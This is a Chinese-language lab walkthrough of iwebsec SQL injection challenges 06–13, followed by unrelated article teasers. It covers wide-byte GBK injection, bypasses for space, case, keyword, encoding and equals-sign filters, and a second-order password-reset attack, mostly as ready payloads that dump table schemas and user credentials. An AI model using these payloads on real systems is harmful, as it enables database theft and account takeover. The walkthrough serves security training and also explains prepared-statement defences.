iwebsec靶場sqli注入(2)

??????06-寬字節注入

1,該漏洞的根本原因是字符集處理不一致(GBK雙字節特性)與不安全的轉義方式addslashes)共同導致。構造基礎sql注入語句

1%df%27%20%23

漏洞原理

  1. 字符集設置:mysql_query("SET NAMES gbk")?將連接字符集設置為GBK(一種雙字節編碼)。
  2. 輸入處理:使用addslashes($_GET['id'])轉義特殊字符(如單引號'會被轉義為\')。
  3. 漏洞觸發:當輸入中包含%df'時:
    • addslashes將其轉義為%df\'(即%df%5c%27)
    • GBK解碼時,%df%5c被解析為漢字"運"(%df%5c是GBK編碼中的合法字符)
    • 最終單引號'逃逸:...id='運'...?→ 導致SQL語句閉合被破壞

2,其他步驟和sql注入的基本操作是一樣的,先判斷當前查詢的數據表有幾列

1%df%27%20order%20by%203%23

1%df%27%20order%20by%204%23

然后就是判斷查詢語句的回顯位置

-1%df%27%20union%20select%201,2,3%23

確認三個都是回顯位置之后,再爆出數據庫名

-1%df%27%20union%20select%201,version(),database()%23

-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x73716c69%20--%20

原內容

修正后

原因

table_name='sqli'

table_name=0x73716c69

避免引號被轉義,0x73716c69?是?'sqli'?的十六進制

--+

--%20

確保注釋符后有空格(%20?是 URL 編碼的空格)

開頭?-1%df%27

保留

利用寬字節注入繞過轉義(%df'?→?運'

-1%df%27%20union%20select%20id,username,password%20from%20sqli--%20

07-空格過濾繞過

1,首先分析源代碼,代碼如何實現的空格繞過

空格過濾實現機制

if (preg_match('/ /', $_GET["id"])) {
??? die("ERROR");
}

  1. 正則表達式過濾:使用?preg_match('/ /', ...)?檢測輸入中是否包含空格字符
  2. 檢測到空格立即終止:如果輸入中包含任何空格(ASCII 32),直接執行?die("ERROR")?終止腳本
  3. 過濾位置:在SQL查詢構造前進行過濾,位于用戶輸入處理階段

關鍵安全漏洞

雖然過濾了空格,但存在嚴重的SQL注入漏洞:

$id=$_GET['id']; // 未做任何轉義或過濾
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 直接拼接

  1. 數字型注入:參數直接拼接到SQL語句中,沒有引號包裹
  2. 無其他防護:缺少參數化查詢、類型轉換等安全措施
  3. 錯誤信息暴露:print_r(mysql_error())?會顯示詳細數據庫錯誤

繞過空格過濾的方法

攻擊者可以使用以下字符替代空格:

1. 水平制表符 (TAB)

?id=1%09UNION%09SELECT%091,2,3

2. 換行符

?id=1%0aUNION%0aSELECT%0a1,version(),3

3. 注釋符 /**/

?id=1/**/UNION/**/SELECT/**/1,2,database()

4. 括號包裹

?id=(1)UNION(SELECT(1),2,3)

?

2,構造關鍵攻擊語句,四種方法均可

(1)#

1%09#

1%0a#

1/**/#

第一步,判斷查詢數據表有幾列

1/**/order/**/by/**/3#

1/**/order/**/by/**/4#

1/**/union/**/select/**/1,2,3#

-1/**/union/**/select/**/1,version(),database()#

-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='sqli'#

-1/**/union/**/select/**/id,username,password/**/from/**/sqli--

在 SQL 注入中,#?和?--?注釋符的行為差異主要與 URL 編碼和 SQL 語法有關。以下是詳細解釋:

根本原因

  1. URL 中?#?的特殊含義:
  • #?在 URL 中是片段標識符(fragment identifier),瀏覽器不會將?#?及之后的內容發送到服務器
  • 例如:example.com/test.php?id=1#comment?→ 服務器只收到?id=1
  1. --?注釋的要求:
  • SQL 標準要求?--?后必須有空格才能生效
  • 在 URL 中需用?--++?被解碼為空格)或?--%20(%20 是空格編碼)

?

08-大小寫過濾繞過

1,大小寫過濾實現方法

if (preg_match('/select/', $_GET["id"])) {
??? die("ERROR");
}

  • 正則表達式過濾:使用?preg_match('/select/', ...)?檢測輸入中是否包含小寫字符串?"select"
  • 區分大小寫:正則表達式默認區分大小寫,只匹配小寫?select
  • 檢測到即終止:發現小寫?select?時立即終止腳本 (die("ERROR"))

2,嘗試order by注釋符判斷數據表存在幾列

1 order by 4 --+

再嘗試union select爆出數據庫名

1 union SELECT 1,2,3 --+

1 union SELECT 1,version(),database() --+

1 union SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union SELECT id,username,password from sqli--+

09-雙寫關鍵字繞過

過濾邏輯分析

$id = preg_replace('/select/i', '', $_GET["id"]);

  1. 正則表達式過濾:
  • 模式:/select/i
  • i?修飾符:不區分大小寫(匹配 SELECT、select、SeLeCt 等)
  • 功能:刪除輸入中所有出現的 "select" 字符串(不區分大小寫)
  1. 處理流程:
  • 獲取用戶輸入的?id?參數
  • 刪除其中所有 "select" 字符串(不區分大小寫)
  • 將處理后的字符串用于 SQL 查詢拼接

雙寫繞過原理

攻擊者通過構造雙寫關鍵字來繞過過濾:

  1. 過濾機制缺陷:僅執行一次字符串替換
  2. 繞過方法:插入?selselectect?→ 過濾后變為?select
  • 原始輸入:selselectect
  • 過濾過程:
  • 刪除中間的 "select" →?sel[刪除]ect
  • 結果:select

1,sql注入語句的基本格式是1 --+,嘗試判斷數據表存在多少列

1 order by 3--+

1 order by 4--+

2,然后再union select判斷查詢語句的回顯位置,需要注意使用雙寫繞過

1 union%20 selselectect%20 1,2,3--+

1 union%20 selselectect%20 1,version(),database()--+

1 union%20 selselectect%20 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union%20 selselectect%20 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union%20 selselectect%20 id,username,password from sqli--+

10-雙重url編碼繞過

防御機制分析

if (preg_match('/select/', $_GET["id"])) {
??? die("ERROR");
} else {
??? $id = urldecode($_GET['id']);? // 關鍵漏洞點
??? $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
}

  1. 關鍵詞過濾:
  • 使用?preg_match('/select/', ...)?檢測原始GET參數中是否包含小寫字符串 "select"
  • 檢測到即終止腳本 (die("ERROR"))
  1. URL解碼處理:
  • 對過濾后的參數執行?urldecode()?解碼
  • 將解碼后的值直接拼接到SQL查詢中

1,嘗試構造注入語句

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3#

爆庫

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,database()#

爆表

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563#

爆列

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572#

爆數據

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user#

11-十六進制繞過

防御機制分析

if (!get_magic_quotes_gpc()) {??
???
$id = addslashes($_GET['id']);
??? $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
??? $result=mysql_query($sql);??????????
}else{
??? $id =$_GET['id'];????????
???
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
??? $result=mysql_query($sql);
}

  1. get_magic_quotes_gpc()檢測:
  • 檢查PHP配置中magic_quotes_gpc是否開啟
  • 該功能在PHP 5.4+已被移除,現代PHP環境總是進入if分支
  1. addslashes()轉義:
  • 在特殊字符('"\NULL)前添加反斜杠
  • 示例:'?→?\'"?→?\"

關鍵安全漏洞

1. 數字型注入漏洞

$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 致命缺陷:參數直接拼接到SQL語句,沒有引號包裹
  • addslashes()對數字型注入完全無效
  • 攻擊者可以構造任意SQL表達式

2. 十六進制繞過機會

當需要字符串參數時,可使用十六進制編碼繞過addslashes()

SELECT * FROM user WHERE id=0x31 OR 1=1

?

1,構造漏洞利用語句

1 order by 3 --+

1 order by 4 --+

2,嘗試判斷數據表存在幾列

1 union select 1,2,3--+

1 union select 1,version(),database()--+

1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x73716c69

1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from sqli)--+

12-等價函數替換過濾繞過

過濾邏輯分析

1.?等號過濾機制

if (preg_match('/=/', $_GET["id"])) {
??? die("ERROR");
}

  • 正則表達式:/=/?匹配參數中任何位置的等號?=
  • 攔截效果:只要?id?參數包含等號(即使是 URL 編碼的?%3D),立即終止腳本并返回 "ERROR"
  • 繞過關鍵:構造不包含等號但能實現 SQL 注入的 Payload

2.?SQL 查詢結構

$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 注入點類型:數字型注入(無引號包裹)
  • 漏洞位置:$id?直接拼接進 SQL 語句
  • 可利用點:無需閉合引號,可直接注入 SQL 代碼

3.?錯誤信息泄露

print_r(mysql_error());

  • 關鍵優勢:SQL 報錯信息直接輸出,支持報錯注入
  • 利用價值:可通過錯誤信息獲取數據庫結構、查詢內容等敏感數據

繞過方案(避免使用等號)

方案 1:使用?LIKE?替代等號(聯合查詢注入)

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

繞過原理:

  • LIKE?實現字符串匹配,功能等效于?=
  • 0x73716c69?是?'sqli'?的十六進制,避免單引號

Payload 分解:

  • -1:使原查詢無結果,聯合查詢結果可見
  • like database():替代?= database()
  • like 0x73716c69:替代?= 'sqli'

方案 2:使用?REGEXP?正則匹配

/12.php?id=1 or table_schema regexp database()--+

  • 優勢:正則匹配更靈活,可處理部分匹配
  • 典型場景:布爾盲注中逐字符判斷

/12.php?id=1 or (select database()) regexp '^a'--+

完整利用鏈示例

步驟 1:獲取表名

/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()--+

步驟 2:獲取列名

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

步驟 3:提取數據

/12.php?id=-1 union select 1,username,password from sqli--+

13-二次注入

二次注入原理分析

漏洞核心流程

  1. 輸入階段:用戶提交惡意數據(含 SQL 片段)
  2. 安全處理:addslashes()?轉義特殊字符(如?'?→?\'
  3. 存儲階段:轉義后的數據存入數據庫
  4. 取出階段:從數據庫取出原始數據(轉義符被丟棄)
  5. 執行階段:原始惡意數據拼接到 SQL 語句執行

漏洞存在點分析

// 1. 輸入處理(注冊時)
$username=addslashes($_POST['username']); // 轉義特殊字符
// 存入數據庫示例:admin'# → 存儲為 "admin\'#"

// 2. 漏洞觸發點(reset.php)
// 假設 reset.php 中有如下代碼:
$email = $_POST['email']; // 從表單獲取郵箱
$sql = "SELECT username FROM sqli WHERE email='$email'"; // 二次注入點

漏洞利用演示

  1. 注冊惡意賬戶:
  • 用戶名:admin'#?(轉義后存儲為?admin\'#)
  • 密碼:任意值
  • 郵箱:attacker@example.com
  1. 數據庫實際存儲:

username

password

email

admin'#

123456

attacker@example.com

  • 注意:數據庫存儲?原始值?admin'#(反斜杠僅存在于插入時的轉義過程)
  1. 密碼重置攻擊:
    // reset.php 代碼示例
    $email = $_POST['email']; // 用戶輸入:attacker@example.com
    $sql = "UPDATE sqli SET password='new_pass' WHERE email='$email'";
    // 實際執行:
    // UPDATE sqli SET password='new_pass' WHERE email='attacker@example.com'
  • 看似安全,但攻擊者可構造:
    $email = "attacker@example.com' AND username='admin'#";
  1. 最終 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  2. 效果:將 admin 用戶的密碼重置為 new_pass

漏洞本質原因

  1. 轉義機制失效:
  • addslashes()?僅在?數據插入時?提供保護
  • 當數據從數據庫取出后,原始值被直接使用,轉義符消失
  1. 數據信任錯誤:
  • 開發者誤認為"存入數據庫的數據都是安全的"
  • 未對從數據庫取出的數據做二次驗證
  1. 上下文差異:
  • 注冊時:數據作為?VALUES?部分被插入
  • 重置時:數據作為?WHERE?條件被執行

漏洞利用步驟

  1. 注冊惡意賬戶:
    POST /reg.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    username=admin'#&password=attack&email=attacker@example.com
  2. 觸發密碼重置:
    POST /reset.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    email=attacker@example.com' AND username='admin'#
  3. 實際執行 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  • #?注釋掉后續單引號
  • 條件成立:同時匹配攻擊者郵箱和 admin 用戶名

防御方案

  1. 統一輸出過濾:
    // 從數據庫取出數據后再次轉義
    $email = mysql_real_escape_string($row['email']);
  2. 使用預處理語句:
    // reset.php 中
    $stmt = $pdo->prepare("UPDATE sqli SET password=? WHERE email=?");
    $stmt->execute([$new_pass, $email]);
  3. 數據分級管理:
  • 區分用戶輸入數據 vs 系統存儲數據
  • 對所有動態值進行參數化處理
  1. 最小權限原則:
  • 密碼重置功能使用獨立低權限賬戶
  • 禁止執行多行 SQL

漏洞驗證方法

  1. 注冊用戶名為?test' OR '1'='1?的賬戶
  2. 嘗試用郵箱?任意值?重置密碼
  3. 觀察是否重置所有用戶密碼(或報錯信息泄露)

1,注冊用戶名填admin'#,密碼填123,郵箱填admin

然后通過郵箱找回

抓個包分析即可。首先注冊用戶

然后找回密碼

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/88849.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/88849.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/88849.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

小程序學習筆記:自定義組件創建、引用、應用場景及與頁面的區別

在微信小程序開發中,自定義組件是一項極為實用的功能,它能有效提高代碼的復用性,降低開發成本,提升開發效率。本文將深入剖析微信小程序自定義組件的各個關鍵方面,包括創建、引用、應用場景以及與頁面的區別&#xff0…

開發數字化綠色低碳園區系統:分階段實施指南

目錄 摘要 背景 核心模塊 階段性開發 分階段開發實施 第一階段(3-6個月):搭建核心骨架 第二階段(6-9個月):擴展功能 第三階段(9-12個月):深度定制 技術選型 注意事項 實施計劃表 小結 摘要 數字化綠色低碳園區系統通過物聯網、能源管理和數據分析等技術,…

智能實驗室革命:Deepoc大模型驅動全自動化科研新生態

自動化實驗執行 自動化實驗執行通過機器人技術與智能控制系統的深度融合,重構傳統實驗操作模式,其核心技術突破體現在以下層面: 1. ??多模態任務分解與執行架構?? 基于大模型的任務解析引擎可將復雜實驗流程分解為可執行的原子操作序列…

還在手動部署?用Jenkins+Docker+Git實現自動化CI/CD

“每次發版都要手動打包上傳,部署宕機了才發現出錯?” 你還在重復“開發提測-打包部署-驗證回歸”的流水線操作?明明可以一鍵搞定的流程,為何還在親力親為?是時候了解并掌握 自動化 CI/CD 的真正威力了! 手…

Stream流中間方法的使用

Stream流的中間方法詳解 Stream流的中間方法指那些返回新Stream的操作,允許鏈式調用。這些方法通常用于數據過濾、映射、排序等操作,不會觸發最終計算。 filter方法 filter用于篩選滿足條件的元素,接受一個Predicate函數式接口參數。 Lis…

華為云Flexus+DeepSeek征文|華為云ModelArts結合FeedMe:開啟AI驅動的RSS閱讀新時代

華為云FlexusDeepSeek征文|華為云ModelArts結合FeedMe:開啟AI驅動的RSS閱讀新時代 前言一、華為云ModelArts Studio平臺介紹1.1 ModelArts Studio介紹1.2 ModelArts Studio主要特點1.3 ModelArts Studio使用場景1.4 ModelArts Studio產品架構 二、FeedMe…

華為云Flexus+DeepSeek征文 | 華為云ModelArts Studio新手入門:DeepSeek服務的配置與使用詳解

華為云FlexusDeepSeek征文 | 華為云ModelArts Studio新手入門:DeepSeek服務的配置與使用詳解 前言一、ModelArts Studio介紹1. 華為云ModelArts Studio簡介2. 華為云ModelArts Studio主要特點3. 華為云ModelArts Studio主要使用場景 二、ModelArts Studio平臺開通De…

Note2:機器學習基本攻略(Machine Learning by Hung-yi Lee)

目錄 基本思路 1.訓練資料上loss很大 1.1 model bias 1.2 optimazation(優化不夠好) 1.3如何確定是 model bias還是optimazation 解決方法 2.訓練資料上loss很小 2.1 Overfitting 解決方案 1.使用更多訓練資料 2.限制模型 2.2 Mismatch 3.…

使用ubuntu下的FAST和gfzrnx進行廣播星歷下載及版本之間的轉換

使用FAST下載混合的廣播星歷文件 cd FAST_V3.00.03 (進入文件夾) chmod x FAST (授權) chmod x bin/* ./FAST1 下載:https://gnss.gfz.de/services/gfzrnx/download (需注冊) 2 打開bash,依次輸入 (其中gfzrnx_2.1.12_lx64為下載…

vue裁剪圖片

有一個需求就是在你有倆張圖片一樣大小,一個亮色的,一個暗色的,亮色的根據后端返回的數據顯示多高,這樣就有一個感覺是慢慢往上走的,主要用到了css的一個屬性 .my-info-image {width: 280px;height: 200px;position: a…

使用GDAL庫統計不同分區內的災害點分布情況,計算災害相對密度等統計指標

主要功能是處理地理空間柵格數據(TIFF文件)和災害點數據(CSV文件),統計不同分區內的災害點分布情況,并計算災害相對密度等統計指標。 TIFF文件:已經重分類后的文件 CSV文件:災害點…

jar 包如何下載

在 Javaweb - 2 中,我們導入了三那個 jar 包來進行服務端的 JSON 串格式轉換,這個為大家做一個如何下載那三個 jar 包的教程~ 打開倉庫網站 我們需要先打開一個倉庫網址:Maven Repository: Search/Browse/Explore 這個網址中,幾…

【vue3】打包配置webpack壓縮,哈希值設置

壓縮配置 依賴下載: npm i --save-dev compression-webpack-plugin vue.config.js配置 const CompressionWebpackPlugin require(compression-webpack-plugin);filenameHashing: true, // 打包后為文件名增加hash值// 配置webpackconfigureWebpack: config >…

vue3 + elementPlus 封裝hook,檢測form表單數據修改變更;示例用 script setup 語法使用

vue3 elementPlus 封裝hook,檢測form表單數據修改變更;示例 script setup 語法 原文:https://mp.weixin.qq.com/s/gCuqKskp-KBxdClxcpwFqw原文:https://mp.weixin.qq.com/s/gCuqKskp-KBxdClxcpwFqw原文:https://mp.weixin.qq.com…

Java-泛型類

一、泛型類的基本概念 1. 什么是泛型類 泛型類是指使用類型參數定義的類,可以在類定義時不指定具體類型,而在實例化時指定。 2. 泛型類的作用 類型安全:編譯時檢查類型匹配 消除強制轉換:減少運行時ClassCastException風險 代…

信任邊界的人生智慧

我曾經是個喜歡試探的人 總想知道朋友會不會在我困難時伸手,合作伙伴會不會在利益面前變臉,愛人會不會在誘惑下堅守 結果發現,每一次試探都像是在關系上撒鹽 不是因為對方經不起考驗,而是「考驗」這個行為本身就充滿了不信任的…

SQL Server 中 GO 的作用

CREATE DATABASE MyDatabase; USE MyDatabase; GO --定義局部變量 DECLARE s_no varchar(8), s_avgrade numeric(4,1); --對局部變量賦值 SET s_no 20170208; SET s_avgrade 95.0; --使用局部變量 UPDATE student SET s_avgrade s_avgrade WHERE s_no s_no;🌟 G…

指標中臺+大模型:解密衡石Agentic BI的NL2DSL架構實現

——Text2Metrics引擎如何攻克語義鴻溝,碾壓傳統NL2SQL方案 一、傳統NL2SQL的“架構原罪”:業務語義的失控黑洞 當某銀行嘗試用NL2SQL分析“高凈值客戶流失率”時,系統生成如下危險SQL: 這正是NL2SQL的三大架構缺陷:…

設計模式 - 抽象工廠

抽象工廠是對工廠的抽象化,而不只是制造方法。 為了滿足不同用戶對產品的多樣化需求,工廠不會只局限于生產一類產品,但是系統如果按工廠方法那樣為每種產品都增加一個工廠又會造成工廠泛濫。所以,為了調和這種矛盾,抽…

面向對象Plus(2/2)

目錄 面向對象Plus(qianwen) 一.面向對象三大特性 封裝 繼承 多態 二.多態 1.了解多態 2.體驗多態 三.類屬性和實例屬性 1.類屬性 a.設置和訪問類屬性 類屬性的優點 b.修改類屬性 四.類方法和靜態方法 1.類方法 a.類方法特點 b.類方法應用場景 2.靜態方法 a…